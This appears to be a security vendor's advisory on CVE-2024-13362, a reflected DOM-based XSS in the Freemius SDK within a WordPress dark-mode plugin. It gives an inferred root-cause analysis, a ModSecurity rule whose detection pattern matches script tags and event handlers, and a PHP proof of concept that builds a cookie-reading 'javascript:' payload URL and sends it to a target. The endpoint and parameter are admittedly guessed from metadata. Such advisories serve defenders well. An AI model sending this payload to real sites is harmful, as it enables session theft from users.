Atomic Edge analysis of CVE-2024-13362 (metadata-based): This is a reflected DOM-based cross-site scripting vulnerability in the Freemius software development kit (SDK) used by multiple WordPress plugins and themes, with the specific vulnerable instance being the Dracula Dark Mode plugin version 1.2.7. The vulnerability carries a CVSS score of 6.1 (medium severity) and requires user interaction via a crafted link.
The root cause, inferred from the CWE-79 classification and the description, is insufficient input sanitization and output escaping on the ‘url’ parameter. In typical WordPress plugin implementations, Freemius handles analytics, opt-in/opt-out flows, and connection callbacks. The vulnerable parameter is likely passed through a JavaScript context (making it DOM-based) without proper encoding. Atomic Edge research cannot confirm the exact code path because no source code diff is available, but the pattern strongly suggests the ‘url’ parameter is read via JavaScript (e.g., `window.location.search` or `URLSearchParams`) and written directly to the DOM via `innerHTML` or similar methods without sanitization.
Exploitation requires an attacker to craft a malicious URL containing the XSS payload in the ‘url’ parameter. The target endpoint is likely a Freemius SDK callback or a plugin settings page that processes the ‘url’ parameter client-side. The attacker must trick an authenticated or unauthenticated user into clicking the crafted link. Since the vulnerability is reflected and DOM-based, the payload executes in the user’s browser without server-side storage, allowing the attacker to steal session cookies, perform actions on behalf of the victim, or deface the page.
Remediation requires escaping the ‘url’ parameter before inserting it into the DOM. The fix should use `textContent` instead of `innerHTML`, or apply proper URL encoding/sanitization via `encodeURI()` or browser-native URL parsing functions. Server-side validation should also reject or sanitize the ‘url’ parameter using WordPress functions like `esc_url()` or `wp_kses()` before passing the value to the frontend.
If exploited, an attacker can execute arbitrary JavaScript in the victim’s browser context. This leads to session hijacking, credential theft (if the victim is an admin), redirection to malicious sites, or defacement. The impact is amplified if the victim has elevated privileges, potentially leading to full site compromise.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2024-13362 (metadata-based)
# Block reflected DOM-based XSS via Freemius 'url' parameter
# This rule blocks requests with script tags or event handlers in the url parameter
SecRule REQUEST_URI "@rx (?:admin-ajax.php|admin-post.php)"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 Reflected DOM XSS via Freemius url parameter',severity:'CRITICAL',tag:'CVE-2024-13362',tag:'wordpress',tag:'xss'"
SecRule ARGS:url "@rx <script|javascript:|onerror=|onload=|onclick="
"t:lowercase,t:urlDecodeUni,t:removeNulls,chain"
SecRule ARGS:action "@streq freemius_optin"
"t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based XSS via url Parameter
// This PoC sends a crafted URL to an unauthenticated victim.
// The payload executes when the victim clicks the link.
// Assumption: The vulnerable parameter is 'url' on a Freemius callback page.
$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site URL
$payload = 'javascript:alert(document.cookie)'; // XSS payload
// Craft the malicious URL
$malicious_url = $target_url . '/wp-admin/admin-ajax.php?action=freemius_optin&url=' . urlencode($payload);
// For demonstration, output the crafted URL
// In a real attack, this URL would be sent to the victim via email, social media, etc.
echo "[+] Crafted malicious URL:n";
echo $malicious_url . "nn";
// Send a request to confirm the vulnerability (optional, for testing on authorized targets only)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $malicious_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
// Check if the payload is reflected (for testing purposes)
if (strpos($response, htmlspecialchars($payload)) !== false) {
echo "[!] Vulnerability confirmed: payload reflected in response.n";
} else {
echo "[+] No immediate reflection detected (DOM-based XSS may still trigger).n";
}
